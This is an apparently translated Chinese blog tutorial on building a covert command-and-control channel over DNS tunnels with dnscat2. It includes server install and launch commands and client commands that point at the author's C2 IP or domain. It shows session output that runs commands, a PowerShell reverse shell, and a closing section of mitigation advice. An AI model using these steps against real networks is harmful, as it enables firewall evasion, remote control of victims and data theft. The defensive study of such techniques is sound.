利用 DNS 隧道传递数据和命令来绕过防火墙

不论你对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。为了学习 DNS 作为命令控制信道的使用方法,我们今天来介绍一个由 Ron Bowes 开发的工具 dnscat2,有了这个工具我们就能轻而易举的实现这种攻击技术。
隧道的部署实施需要一个由攻击者控制的主机来运行 dnscat2 的服务器端程序。这个公网上的主机监听经过 dnscat2 特别定制过的 DNS 请求,这些请求是 dnscat2 客户端组件从受害者的位置发出,可以传递数据或者获得控制指令。

安装 dnscat2 服务器端

为了安装 dnscat2 服务器端组件,你需要有一台互联网可以访问到的公网主机,并且安装 Linux 系操作系统。你可以使用公有云提供商,例如 DigitalOcean。我喜欢这种公有云的提供商,他们提供了最低每月五美元的低端虚拟专用服务器,这样对我们 dnscat2 的实验再好不过。很简单的就可以部署一个 Ubuntu 实例:
image_1anommeff1v1ikmh9g1eb8obg9.png-30.7kB
一旦主机实例创建完成,登录后要用 root 来运行以下命令,这些都是安装 dnscat2 服务器端所必须的,我们假定你使用的也是 Ubuntu:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

全部正确执行后,至此 dnscat2 的服务器端就安装完毕了,但是我们还没有启动呢

在全部 DNS 请求都被允许的情况下的 C2 信道

我们假定了一种场景,在这种场景下目标环境允许全部 DNS 出站流量和任意 DNS 服务器进行通信。在这种情况下,你可以不配置任何参数直接激活 dnscat2 的服务器端,使用 root 用户来执行如下命令就可以在公网服务器上激活 dnscat2 的服务器端。
ruby ./dnscat2.rb
你应该在 dnscat2 的安装目录下执行这些命令,在我们的演示示例中路径是 dnscat2/server。激活完成后, dnscat2 的服务器端组件就会开始监听 53 端口,出现交互式 Shell 后就可以远程控制运行 dnscat2 客户端组件的系统。
接下来,使用你的系统来模拟受害者的主机,不加任何参数就可以运行 dnscat2 客户端程序。如果在 Windows 上运行,你应该在作者的网站上下载预先构建好的 dnscat2 可执行程序。你应该带着 --host 参数来运行客户端程序,在 host 参数后带上你服务器的 IP 地址或者主机名。在我的实验中,我的 dnscat2 服务器端的 IP 地址是 104.131.93.152,所以我这样来运行 dnscat2 客户端 dnscat2-win32.exe --host 104.131.93.152
image_1anopd9sffrm1c0ase11lqs1k6im.png-26.2kB
当客户端运行起来,我们的 dnscat2 服务器会立即通知我有客户端系统和服务器建立了连接,然后为我提供一个远控的 Shell。为了简介起见,我在下面只摘录了部分有用的信息:

ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 16059
dnscat2>

这样我就可以与受感染的系统进行交互了,例如指定启动记事本:

dnscat2> session -i 16059
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 16059]> exec notepad.exe
Sent request to execute
dnscat [command: 16059]>

除了可以在受感染的系统上执行任意命令外, dnscat2 还支持“上传”和“下载”用以在两台主机之间进行数据或程序的传递。
监控受害者网络的分析师只会看到 DNS 请求与响应。这种通信流量将会像“噪音”一样混入普通的网络通信中。例如,建立初始 C2 连接时, dnscat2 客户端准备解析一个 TXT 记录,就发送给我的 DNS 服务器一个请求,就如同我们在 Wireshark 里看到的。
image_1anpqhfdvb641v4f1shftgqp1q9.png-23.1kB
为了防止这种情况的发生,真实情况下可能会对出站流量进行限制,只允许和少数受信任的服务器进行 DNS 通信。在本例中,这种方法就会限制对我的命令控制服务器(104.131.93.152)进行 DNS 出站请求。不幸的是,以 DNS 为隧道的命令控制流量仍然可以通过下面的方法完成控制。

只允许和受信任的 DNS 服务器通信时的命令控制信道

为了完成更健壮的命令控制配置,对手可以注册一个域名并指定运行 dnscat2 服务器软件的系统作为该域名的权威 DNS 服务器。这种方法下, dnscat2 客户端不再需要直接和命令控制服务器进行连接了。相反,受感染的主机将会对受受害者信任的服务器发起对恶意域名的请求,受其信任的 DNS 服务器将会把这个请求转发给命令控制服务器并且返回它的响应给客户端。在这种情况下,看似受保护的环境只能访问受信任的 DNS 服务器,但是受信任的 DNS 服务器也必须和外部 DNS 服务器进行通信才能解决无法直接响应的请求。

我配置我的实验域名为 combatingmalware.com 并且绑定了 104.131.93.152 这个地址作为权威域名服务器。然后我启动了 dnscat2 的服务器程序,指定这个域名来作为命令控制的信道。

ruby ./dnscat2.rb combatingmalware.com
Handling requests for the following domain(s):
combatingmalware.com
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = combatingmalware.com]...
Will also accept direct queries (using --host and --port on the client)
dnscat2>

接下来,我运行 dnscat2 的客户端,并且指定通信域名为 combatingmalware.com,命令如下
image_1anps658mum7flb1ka01g9a1v0am.png-17.9kB
这次,dnscat2 客户端没有直接给我的命令控制服务器发送 DNS 请求。相反,受害者的主机和标准的、受信任的 DNS 服务器进行了通信,尝试解析combatingmalware.com域名的主机名,正如在 Wireshark 中看到的:
image_1anpscg9e1ee81s9klf21tbno9g13.png-24.7kB
正如预期的那样,我们的命令控制服务器并不会直接和受害者的主机进行数据包的交换。我们的实验使用了 OpenDNS 的服务器,所以我们只和 OpenDNS 的服务器进行了通信。以下是我在服务器端运行 tcpdump 时捕捉到的流量:

208.67.217.11.1679 > 104.131.93.152.53: 59036 [1au] TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com.
104.131.93.152.53 > 208.67.217.11.1679: 59036*- q: TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com. 1/0/0 [1d] TXT "6c29006955d5b70000"
208.67.217.21.2584 > 104.131.93.152.53: 41672 [1au] TXT? 3f29016955018bd5b7.combatingmalware.com.
104.131.93.152.53 > 208.67.217.21.2584: 41672*- q: TXT? 3f29016955018bd5b7.combatingmalware.com. 1/0/0 [1d] TXT "11b8016955d5b7018b"

这意味着,即使你对你的环境进行了配置,只允许可信的内部或外部服务器来应对 DNS 解析,并且封锁其他全部的 DNS 出站流量,对手仍然可以通过你认为正常的 DNS 基础结构来进行命令控制通信。
如果你想集中你的精力在阻止 dnscat2 客户端在你的 Windows 系统上运行,阻止全部的恶意软件?听起来是个好主意,但是你最好确保你也能控制住 PowerShell,就像下面这个场景所展示的一样:

使用 PowerShell 客户端进行 DNS 隧道通信

相比于安装完全版本的 dnscat2 客户端,对手可以在被破坏的系统上使用 PowerShell 来与 dnscat2 进行通信。 Luke Baggett 的 dnscat2.ps1 脚本通过执行某些 dnscat2 的控制命令来达到使用 DNS 隧道进行通信的能力。
对 dnscat2.ps1 进行实验,我把这个 PowerShell 脚本引入受害者的主机,然后通过 dnscat2 命令行工具的指引来通过 combatingmalware.com 域名打开一个与我的命令控制服务器链接的反弹 Shell。操作如下:
image_1anq1rjcagje1nih1c29o5qgo1n.png-36kB
正如前面的例子所示,流量通过 DNS 隧道传输。我能够间接地与命令提示符交互,这样令我可以在受害者的主机上执行任意命令:

dnscat2> New session established: 9024
dnscat2> session -i 9024
Welcome to session 9024!
If it's a shell session and you're not seeing output, try typing "pwd" or something!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\REM\Desktop>

怎样阻止 DNS 作为信道进行命令与控制

DNS 的本质是允许企业系统通过发起 DNS 请求来与网络上任意主机进行通讯。这项能力使得像 dnscat2 这样的工具可以在 DNS 流量中隐藏数据和命令来绕过传统的网络安全策略。我努力想拿出一个解决方案来堵住防火墙上的“洞”,我没能做到。但是我有一些降低风险的建议:

  • 对你网络内的主机被允许访问的 DNS 服务器的数量进行限制,这不但使攻击者的信道部署变得更加复杂,而且还限制了你需要监控的 DNS 交互类型。
  • 如果可能的话,直接将 DNS 流量通过一系列你控制的 DNS 服务器,这样你可以随时检查它们,并且在需要的时候任意修改配置。
  • 监视 DNS 异常活动,查看 DNS 服务器或者查看网络日志。用于命令控制的 DNS 交互往往会表现出时序和负载上的背离,这种偏差会让你发现存在问题。
    (详情请看论文by Greg Farnhamadvice from Lance Jamessuggestions from Martin Lee

使用 DNS 来传递数据和控制命令并不是第一天提出。然而,如同 dnscat2 这样的工具让这项技术变得极其容易实施,不论是用于恶意目的、渗透测试还是个人实验。对于使用 DNS 请求来暗中窃取数据的实际例子请看BernhardPOSMULTIGRAIN这两个恶意软件可以学到更多。

阅读原文

阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页